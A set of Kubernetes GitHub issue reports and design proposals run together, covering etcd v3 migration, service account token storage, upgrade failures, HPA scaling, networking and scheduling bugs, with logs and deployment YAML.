spec.containers 0 .volumemounts 0 .name: not found: \ volume1\ , spec.containers 0 .volumemounts 1 .name: not found: \ volume2\ , spec.containers 0 .volumemounts 2 .name: not found: \ volume3\ , spec.containers 0 .volumemounts 3 .name: not found: \ volume4\  \r occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/multivolume.go:329\r    \r \r /  @kubernetes/sig-storage-test-failures

the etcd team has do a lot work to make etcd v3 works efficiently in large scale. recently we have done a prototype that successfully ran k8s with etcd v3 :  now i think it’s time for us to start initial discussion and work on the upgrade of etcd in kubernetes.    what’s new in etcd v3  first, i want to point out the major benefits of etcd v3: - we would get rid of relist problem in most cases. etcd3 is able to keep millions of keys. so we can easily keep keys of last 1 hour. now etcd3 can send progress notifications to watchers. if a client disconnects for an hour, we probably should let it die and doing a full recovery instead of a relist. - one lease per component. we would use only one lease client to keep alive all ttl keys. the lease has its own id and is not tied to any client session so that we can migrate it easily. the cost of lease is also much lower than previous ttl keys. - efficient watch: use grpc insead of http + json. multiple watchers per one tcp connection and very efficient encoding. - mini-transaction  txn : simplify multiple key creation logic. - reliability: it has much lower memory footprint, nonetheless it's able to run smoothly with gbs of keys in mem. - other improvements like consistent range  pagination  over large number of keys, being able to watch all deletions when delete a prefix, etc.    attack plan  @wojtek-t pointed out that “pkg/storage/etcd” package encapsulates all etcd related code. we appreciate the community work on this! i’m thinking about two ways to accomplish v3 upgrade:  the first way is that we can reuse the interface and rewrite the implementation in etcd3. this is the easy way. we can get the work done easily and quickly. the disadvantage is that the interface resembles that of etcd2. we might need to do some workaround for incompatible changes  ttl to lease . in the long term, we also need to add methods to take advantage of new features like txn.   the other way is that we can design a new interface for etcd3. we can keep v3 api in mind and make it efficiently use etcd in first place. however, this requires more work and slows things down initially.  either way we can have it done in parallel with existing storage layer and add a flag to switch to etcd3.  tbh, i’m not leaning to either way. i saw a lot of interest from the community and it’s important for us to coordinate and move as fast as we can. any thoughts are welcome!

specifically, we aren't currently running the node e2e tests against the 2 images we plan to launch 1.3 on gce with: gci and container-v1-3-v20160604  /cc @dchen1107 @vishh @pwittrock

right now if i create a third party resource  tpr : - i give it a name of  org1-type.myorg1.org  - i create new resources by posting to  apis/myorg1.org/v1/namespaces/default/org1types  - with a  kind  of  org1type   that's 3 different ways the name is referenced: org1-type, org1types, org1type  i would recommend that we not do any name tweaking. let the user pick the name and then just use that. using anything else means each client would need to mimic those rules which runs the risk of them getting it wrong. it adds a layer of confusion for no reason.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \ kubectl version\ , \ kubectl version\  json\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r   kubernetes version    use  kubectl version  :\r $ kubectl version --client\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r gke\r -   os    e.g. from /etc/os-release :\r macos 10.12.2\r \r i find it difficult to parse the output of  kubectl version  programmatically. i have to use a yaml parser to do it. i'd prefer to use json, or to be given just the string  v1.4.6  and asked to parse it with a regex.\r \r this is obviously a relatively low-

upgraded the master components apiserver,controller,scheduler,kubectl  followed by worker components kubelet,kube-proxy,kubectl \r  from 1.5.7 to 1.6.0. on master upgrade the existing pods had change in state and the worker upgrade resulted in  deletion of all containers in worker nodes.\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r kubelet\r kube-api server\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r  seen a bug reported 1.6.0 kubelet doesn't work with 1.5.2 apiserver   43976  , is in open state. \r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r upgrade to minor release 1.5.2 to 1.5.7 was working fine with the pods,containers etc. unaffected.\r the issues occur when any version in 1.5.x is upgraded to 1.6.x.\r \r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r the upgrade was tried from kubernetes version 1.5.2 to 1.6.0\r 1.5.7 to 1.6.0,\r \r   environment  :\r -   cloud provider or hardware configuration  :ubuntu 16.04.1 lts  gnu/linux 4.4.0-59-generic x86_64 \r -   os    e.g. from /etc/os-release :ubuntu 16.04.1 lts  gnu/linux 4.4.0-59-generic x86_64 \r -   kernel    e.g.  uname -a  :\r -   install tools  :kubernetes version: 1.5.7 etcd version: 3.1.0\r  docker version 1.13.1\r -   others  :\r \r \r   what happened  :\r  the pods,ds,containers in the workers get deleted at the instant, kubelet 1.6.0 comes up.\r - there was sync issues between kube-apiserver 1.6.0 and kubelet 1.5.7\r - pods created on the upgraded workers remain in pending state.\r \r \r \r \r   what you expected to happen  :\r pods , rcs, ds running in kubernetes 1.5.7 should  remain unaffected during and after upgrade.\r \r   how to reproduce it    as minimally and precisely as possible :\r bring up a kubernetes cluster with 3 masters and 5 workers in 1.5.7 version .upgrade all the master components  to 1.6.0. followed by worker upgrade.\r  after two seconds of kubelet restart, the containers will be deleted completely.\r   anything else we need to know  :\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.694485    7317 server.go:869  started kubelet v1.6.0\r jun  6 07:10:49 localhost kubelet 7317 : e0606 07:10:49.694546    7317 kubelet.go:1165  image garbage collection failed: unable to \r find data for container /\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.695265    7317 server.go:127  starting to listen on 0.0.0.0:10250\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.699224    7317 server.go:294  adding debug handlers to kubelet server.\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.699953    7317 fs_resource_analyzer.go:66  starting fs resourceanalyzer\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.699986    7317 status_manager.go:140  starting to sync pod status with apiserver\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.699994    7317 volume_manager.go:248  starting kubelet volume manager\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.700013    7317 kubelet.go:1741  starting kubelet main sync loop.\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.700049    7317 kubelet.go:1752  skipping pod synchronization -  container runtime is down pleg is not \r healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r jun  6 07:10:49 localhost kubelet 7317 : w0606 07:10:49.728943    7317 docker_sandbox.go:263  failed to parse the sandbox name \r \ k8s_pod.5005e29e_ds-l65ml_default_2db1c87f-4aa7-11e7-8971-1402ec08c562_8cdcc4ac\ : strconv.parseuint: parsing \ 8cdcc4ac\ : invalid syntax\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.765472    7317 factory.go:309  registering docker factory\r jun  6 07:10:49 localhost kubelet 7317 : w0606 07:10:49.765508    7317 manager.go:247  registration of the rkt container factory failed: \r unable to communicate with rkt api service: rkt: cannot tcp dial rkt api service: dial tcp  ::1 :15441: getsockopt: connection refused\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.765518    7317 factory.go:54  registering systemd factory\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.765855    7317 factory.go:86  registering raw factory\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.766178    7317 manager.go:1106  started watching for new ooms in manager\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.767940    7317 oomparser.go:185  oomparser using systemd\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.768729    7317 manager.go:288  starting recovery of all containers\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.800268    7317 kubelet_node_status.go:230  setting node annotation to\r  enable volume controller attach/detach\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.802315    7317 kubelet_node_status.go:77  attempting to register node 192.168.14.89\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.812002    7317 kubelet_node_status.go:80  successfully registered node 192.168.14.89\r jun  6 07:10:49 localhost kubelet 7317 : i0606 07:10:49.978892    7317 manager.go:293  recovery completed\r jun  6 07:10:55 localhost kubelet 7317 : w0606 07:10:55.842851    7317 kuberuntime_container.go:436  no ref for container \r {\ docker\  \ d5993d9662aec84f17a9f47979bf903f1e84ace64304a379e2cea23de6b9ab77\ }\r jun  6 07:10:55 localhost kubelet 7317 : w0606 07:10:55.875471    7317 kuberuntime_container.go:436  no ref for container\r  {\ docker\  \ b9731272a0c895373d39f50928d8841dc58963a74364826f07c9792ea514c521\ }\r jun  6 07:10:55 localhost kubelet 7317 : w0606 07:10:55.906520    7317 kuberuntime_container.go:436  no ref for container\r  {\ docker\  \ d16b713ed63a186f1b5338b710caec11365ecb782483f166d7c2bda668ae2a5b\ }\r jun  6 07:10:57 localhost dockerd 17771 : time=\ 2017-06-06t07:10:57.732619989-04:00\  level=info msg=\ container 2af8409291c69163d5aa7259da1d557d0678d037c56b4972bdf56607b38ce239 failed to exit within 2 seconds of signal 15 - using the force\ \r jun  6 07:10:57 localhost dockerd 17771 : time=\ 2017-06-06t07:10:57.732803087-04:00\  level=info msg=\ container 78a82dac5752ea4a2387f21aa5da3c58bfa9b36efb7db476ed61612ffa1efddf failed to exit within 2 seconds of signal 15 - using the force\ \r jun  6 07:10:57 localhost dockerd 17771 : time=\ 2017-06-06t07:10:57.732846051-04:00\  level=info msg=\ container d6e1280ee5b77d26d60163c294d89a6ff1e34a4028d5936de5c0bb588d52d131 failed to exit within 2 seconds of signal 15 - using the force\ \r jun  6 07:10:57 localhost kubelet 7317 : w0606 07:10:57.873033    7317 kuberuntime_container.go:436  no ref for container \r {\ docker\  \ 2af8409291c69163d5aa7259da1d557d0678d037c56b4972bdf56607b38ce239\ }\r jun  6 07:10:57 localhost kubelet 7317 : w0606 07:10:57.916013    7317 kuberuntime_container.go:436  no ref for container \r {\ docker\  \ 78a82dac5752ea4a2387f21aa5da3c58bfa9b36efb7db476ed61612ffa1efddf\ }\r jun  6 07:10:57 localhost kubelet 7317 : e0606 07:10:57.919241    7317 cni.go:275  error deleting network: failed to find plugin \ multus\  in path  /etc/cni/net.d /opt/multus/bin \r jun  6 07:10:57 localhost kubelet 7317 : w0606 07:10:57.955150    7317 kuberuntime_container.go:436  no ref for container \r {\ docker\  \ d6e1280ee5b77d26d60163c294d89a6ff1e34a4028d5936de5c0bb588d52d131\ }\r jun  6 07:10:57 localhost kubelet 7317 : w0606 07:10:57.957627    7317 docker_sandbox.go:263  failed to parse the sandbox name \ k8s_pod.5005e29e_ds-l65ml_default_2db1c87f-4aa7-11e7-8971-1402ec08c562_8cdcc4ac\ : strconv.parseuint: parsing \ 8cdcc4ac\ : invalid syntax\r jun  6 07:10:57 localhost kubelet 7317 : w0606 07:10:57.967295    7317 docker_sandbox.go:263  failed to parse the sandbox name \ k8s_pod.5005e29e_ds-l65ml_default_2db1c87f-4aa7-11e7-8971-1402ec08c562_8cdcc4ac\ : strconv.parseuint: parsing \ 8cdcc4ac\ : invalid syntax\r

today we generate a service account token into etcd for every service account created.  a controller watches for new service accounts, generates the token as a secret, and then links the secret to the service account.  the secret must contain a  ca.crt , a  token , and optionally a  namespace  for use in contacting the apiserver.  an admission controller then automatically mounts that token  unless requested otherwise  into every pod that runs that service account.  this is a stable api for clients that must be preserved.\r \r the token is a jwt signed token that identifies the secret name, uid, service account name, namespace, and a few other values.  it does not expire  but can be expired by a user by deleting the secret .  the ca.crt is admin controlled, but can potentially be large, and is identical for almost all clients.\r \r some integrations may take the service account token and transform it - openshift does so to generate pull secrets to an integrated registry, i've seen it used to generate other cryptographic entities.\r \r challenges today:\r \r 1. secrets grow very large when  ca.crt  is large, most of the data is duplicated, and so on dense clusters  o namespaces  ~ o pods   this can grow very quickly  we have a 10k namespace cluster which has 3 service accounts per namespace and 3 secrets per namespace .\r 2. the pattern whereby the secret is created is a controller, but requires the secret to be transformed into the secret up front - for secret values that should be rotated frequently, this is non desirable because it may increase the write load on the master\r 3. storing the service account token in etcd leads to accidental escalation attacks in general - access to all secrets is equivalent to having  union permissions_of_any_service_account   which is often cluster admin\r 4. some cluster administrators don't want service account tokens to be accessible to end users\r \r future direction:\r \r 1. we believe secrets in many cases should not have to live in etcd, especially those that can be dynamic, managed externally, or which should expire frequently.  we've said we would prefer if \ retrieving the contents of a secret\  could be decoupled from \ retrieving the metadata of a secret\ \r 2. service account tokens, being frequently tied to permissions available on the cluster, should not be accessible by someone reading all secrets\r 3. any change to the behavior of service account secrets would have to be opt-in and has implications for the kubelet to adapt changes.  the  type  field of a secret defines a schema of the data fields - it's not difficult to imagine that additional metadata might be added to the secret to identify where it resides\r 4. pods today can only reference secrets and pvcs.  it's somewhat undesirable to have pods need to reference other forms of secrets, since every new secret type would require a new volume definition.  the entity that provides the secret is orthogonal to how the secret is consumed - anyone expecting  token  and  ca.crt  in a directory doesn't necessarily care how kube provides that  it's a detail of the platform .  other secrets, like a service identity certificate, a pod client certificate, or a standard kerberos keytab, could be modeled as external volumes - but the semantics of  how  those are managed on the host is \ as a secret\ .\r 5. the new authorization mechanism to constrain secrets to nodes that pods reference would need to constrain any mechanism where the kubelet asks for a secret   on the user's behalf   to inject into a pod.  that could be in pod, in volume plugin, or in kubelet, but in all cases a check has to be done\r \r goals:\r \r 1. reduce size of static secrets stored in etcd\r 2. make it still possible to get access to service account tokens, but via an api, not reading the secret\r 3. make it easier to use   dynamic secrets   from pods, and have other mechanisms like  podpresets  able to use those dynamic secrets\r 4. reduce the scope and lifetime of service account tokens to individual users / contexts / pods \r 5. allow service accounts to have identity that is coupled to an external security system in some fashion\r \r possible changes:\r \r 1. make it unnecessary to store the same  ca.crt  in every secret for the master in etcd\r 2. generate a service account token on demand   for a pod   that is tied to the lifetime of the pod  uuid , rather than the lifetime of a secret on the master\r 3. make it possible for a secret to be a reference to some other secret providing entity - the kubelet would read the secret  which has no contents, but does point to a  secretdatasource   and then delegate out to the remote entity\r 4. implement a new set of flex volumes that handle all service account token logic, and instead of having the master admission controller link a secret into a pod definition, have it link a flex volume  still requires master config \r \r assumption of most external dynamic secret generators is that they need to be able to tie the requesting entity  node or pod  to a permission or fact  node a runs pod b under service account c  in order to release the secret.

is this a bug report or feature request?  :\r  \r   what happened  :\r \r 1. start controller manager with --cluster-cidr=10.0.0.0/16\r \\--------------------------\r \\   kubectl get pod -n kube-system | grep controller-manager\r kube-controller-manager-hz-ugnx7gsqul-0-i5qtlkkffqkf-kube-master-2cn6c3wo57qx   1/1       running   0          1m\r \\  kubectl logs kube-controller-manager-hz-ugnx7gsqul-0-i5qtlkkffqkf-kube-master-2cn6c3wo57qx -n kube-system \r …\r i0808 08:56:46.584672       1 cidr_allocator.go:111  node hz-uaaasmcpnd-0-jlx5pevc5una-kube-minion-aydmdqfdo7xe has cidr 10.0.0.0/24, occupying it in cidr map\r i0808 08:56:46.584710       1 cidr_allocator.go:111  node hz-ugnx7gsqul-0-i5qtlkkffqkf-kube-master-2cn6c3wo57qx has cidr 10.0.1.0/24, occupying it in cidr map\r \\--------------------------\r \r 2. update cluster-cidr of controller manager service to '--cluster-cidr=10.10.0.0/16', then restart controller manager:\r \\--------------------------\r \\  kubectl get pod -n kube-system | grep controller-manager\r kube-controller-manager-hz-ugnx7gsqul-0-i5qtlkkffqkf-kube-master-2cn6c3wo57qx   0/1       crashloopbackoff   5          4m\r \\  kubectl logs kube-controller-manager-hz-ugnx7gsqul-0-i5qtlkkffqkf-kube-master-2cn6c3wo57qx -n kube-system \r …\r   i0808 08:51:53.942134       1 cidr_allocator.go:111  node hz-uaaasmcpnd-0-jlx5pevc5una-kube-minion-aydmdqfdo7xe has cidr 10.0.0.0/24, occupying it in cidr map\r f0808 08:51:53.942182       1 controllermanager.go:181  error running controllers: failed to initialize nodecontroller: failed to mark cidr as occupied: cidr 10.0.0.0/24 is out the range of cluster cidr 10.10.0.0/16  \r \\--------------------------\r \r   what you expected to happen  :\r succeed to update cluster-cidr for controller manager\r \r   anything else we need to know?  :\r currently node controller get node cidr from apiserver etcd , then check the cidr and cluster-cidr. id cluster-cidr can't contains node cidr, controller manager will failed.\r _  so can we update original node cidr if cluster-cidr has been changed?  _\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r currently openstack cloud provider just support for specifying internal loadbalancerip. i think that is unreasonable, actually user just use a floating ip to access a loadbalancer service. so it is necessary to spport for specifying external loadbalancerip.\r \r   what you expected to happen  :\r support for specifying external loadbalancerip on openstack\r \r   anything else we need to know?  :\r currently loadbalancerip can be specified in service.spec.loadbalancerip, we can add annotation to distinguish between internal and external. \r \r @dims @anguslees \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r currently, we flush ipvs services by deleting them one by one. that's because there was no flush api in libnetwork. now, libnetwork supports flush api, i think it's time to rsync.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r since upgrading to kube 1.7.6, i'm seeing my hpas scale above it's maxreplicas.  because of this, it's rapidly creating pods, then terminating them, and repeat.\r \r   what you expected to happen  :\r i expected the hpa to never exceed maxreplicas.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: monolith-mq-remotefileops\r   namespace: na-prod\r spec:\r   maxreplicas: 4\r   minreplicas: 2\r   targetcpuutilizationpercentage: 50\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: monolith-mq-remotefileops\r    \r \r the hpa is logging:\r    \r 2017-10-10t18:46:22z: the desired replica count is increasing faster than the maximum scale rate\r 2017-10-10t18:46:22z: the hpa was able to succesfully calculate a replica count from cpu resource utilization  percentage of request \r 2017-10-10t18:46:22z: the hpa controller was able to update the target scale to 8\r 2017-10-10t18:47:22z: the desired replica count was more than the maximum replica count\r 2017-10-10t18:50:52z: the time since the previous scale is still within both the downscale and upscale forbidden windows\r 2017-10-10t18:52:23z: the hpa controller was able to update the target scale to 4\r    \r \r this seems to happen with the deployment's spec.resources.request.cpu is low, and the hpa shows the deployment using more than 175% of it's spec.resource.requests.cpu.  if i increase \r  the deployment's spec.resources.request.cpu to better match actual usage  so that the deployment is using 120% or less , it occurs much less often.\r \r i deliberately set the spec.resources.request.cpu low, to ensure services were over provisioned during the first roll out of hpa.\r \r i think the switch in pkg/controller/podautoscaler/horizontal.go after    scaleuplimit := calculatescaleuplimit currentreplicas     should be converted to individual if   statements.\r \r   anything else we need to know?  :\r i am only setting spec.resource.requests.cpu on the deployment, not spec.resource.limits.cpu\r \r looking at the code in pkg/controller/podautoscaler/horizontal.go, the version that worked  1.6.2  would only scale up and down by 1.  the 1.7.6+ code is attempting to scale up by a larger amount.\r \r the new code seems appropriate in large clusters, where maxreplicas is in the tens or hundreds.  it doesn't seem appropriate for clusters where maxreplicas is in the single digits.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t19:06:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:36:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r aws m4.2xlarge, 5 nodes\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux ip-10-66-46-241 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r kops version 1.7.0\r \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r tracker bug for scheduler and pv controller changes as specified in kubernetes/community 1168\r \r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   \r \r   what happened  :\r deployment fails due to:\r kubectl logs my_pod\r failed to open log file \ /var/log/pods/my_pod/my_container_5.log\ : open /var/log/pods/my_pod/my_container_5.log: no such file or directory\r \r   what you expected to happen  :\r getting the pod's log.\r \r   how to reproduce it  as minimally and precisely as possible   :\r below the deployment yaml i used:\r \r    apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: gnosisdb-web-deployment\r   labels:\r     app: gnosisdb\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: gnosisdb\r   template:\r     metadata:\r       labels:\r         app: gnosisdb\r     spec:\r       containers:\r       - name: gnosisdb-web-container\r         image: gnosispm/gnosisdb\r         ports:\r           - containerport: 80\r         args:  \ run_dokku_web.sh\  \r    \r \r and the service:\r \r    apiversion: v1\r kind: service\r metadata:\r   name: gnosisdb-web-service\r spec:\r   ports:\r     -\r       name: \ web\ \r       protocol: \ tcp\ \r       port: 80\r       targetport: 80\r       nodeport: 0\r   selector:\r     run: gnosisdb   \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r cannot reach kube dns  e.g. nslookup kubernetes.default  from busybox test pod. \r \r using kubectl apply -f busybox.yaml\r \r 1  kubectl exec -it -n kube-system busybox cat /etc/resolv.conf\r nameserver 10.36.0.2    this is office dns, not related to cluster\r search prg.cxn\r 2  cannot ping 11.96.0.1  changed from 10.96.0.1 in kubeadm init and calico.yaml \r 3  can ping 192.168.x.x ip addressed in cluster\r \r   what you expected to happen  :\r nslookup works as expected and to be able to reach cluster 11.96.x.x ips.\r \r   how to reproduce it  as minimally and precisely as possible   :\r repo for testing is here:\r https://github.com/ivantichy/kube-network-issue.git\r there is only one change related to default service cidr changed to 11.96.0.0/12  but issue persists even with default 10.96.0.0/12 .\r \r 1  run initkube.sh\r 2  join node s \r 3  kubectl apply -f busybox.yaml\r \r   anything else we need to know?  :\r \r kube-proxy log contains:\r i1222 14:45:31.109219       1 server_others.go:171  tearing down inactive rules.\r e1222 14:45:31.135567       1 proxier.go:792  failed to execute iptables-restore for nat: exit status 1  iptables-restore: line 7 failed \r \r issue seen with kube 1.6, 1.8.5, 1.9\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r tested on bare metal and vbox\r - os  e.g. from /etc/os-release :\r tested on debian 9 and ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  :\r  4.9.0-4-amd64  1 smp debian 4.9.51-1  2017-09-28  x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r now that it's a field, it needs a separate entry in 'kubectl describe'\r

 \r i'd like to combine deployments feature with the pod dns records feature as described in https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ pods-hostname-and-subdomain-fields.\r \r my goal is that every pod in the deployments needs to have  arbitrary  dns-resolvable fqdn, because my application depends on it  slave sends its fqdn to the master and then the master sends rest requests to that fqdn, weird but that's how it works \r \r the problem is, i am not allowed to set a different hostname or name on each of the pods created in the deployment, so i cannot currently get the fqdn working.

\r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r after deploy i have some pods in pending state and they won't change his state untill i restart kube-scheduler. \r kubectl describe pod \\<pod name\\>:\r    \r warning  failedscheduling  20m  x745 over 24m    default-scheduler  0/72 nodes are available: 23 node s  didn't match node selector, 43 node s  didn't have free ports for the requested pod ports, 45 insufficient cpu.\r    \r \r   what you expected to happen  :\r all pods should be in running state after deployment\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl apply -f test-deploy.yaml\r kubectl apply -f test-deploy2.yaml\r    \r \r test-deploy.yaml\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: test-deploy\r spec:\r   replicas: 25\r   selector:\r     matchlabels:\r       deployment: test-deploy\r   template:\r     metadata:\r       labels:\r         app: test-deploy\r         deployment: test-deploy\r     spec:\r       hostnetwork: true\r       dnspolicy: clusterfirstwithhostnet\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: dedicated\r                 operator: in\r                 values:   'api-test'  \r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: app\r                 operator: in\r                 values:   'test-deploy' \r             topologykey: kubernetes.io/hostname\r       tolerations:\r       - key: dedicated\r         operator: equal\r         value: api-test\r         effect: noexecute\r       containers:\r       - name: envoy-prometheus\r         image: example/envoy-exporter:latest\r         env:\r         - name: server_port\r           value: \ 9092\ \r         - name: url\r           value: \ http://127.0.0.1/stats\ \r         ports:\r         - name: prom-stats\r           containerport: 9092\r       imagepullsecrets:\r       - name: dockerhubkey\r    \r \r test-deploy2.yaml\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: test-deploy2\r spec:\r   replicas: 16\r   selector:\r     matchlabels:\r       deployment: test-deploy2\r   template:\r     metadata:\r       labels:\r         app: test-deploy\r         deployment: test-deploy2\r     spec:\r       hostnetwork: true\r       dnspolicy: clusterfirstwithhostnet\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: kubernetes.io/hostname\r                 operator: in\r                 values:\r                 - 'app-pool2-1-europe-central1.testdc.com'\r                 - 'app-pool2-2-europe-central1.testdc.com'\r                 - 'app-pool2-3-europe-central1.testdc.com'\r                 - 'app-pool2-4-europe-central1.testdc.com'\r                 - 'app-pool2-5-europe-central1.testdc.com'\r                 - 'app-pool2-6-europe-central1.testdc.com'\r                 - 'app-pool2-7-europe-central1.testdc.com'\r                 - 'app-pool2-8-europe-central1.testdc.com'\r                 - 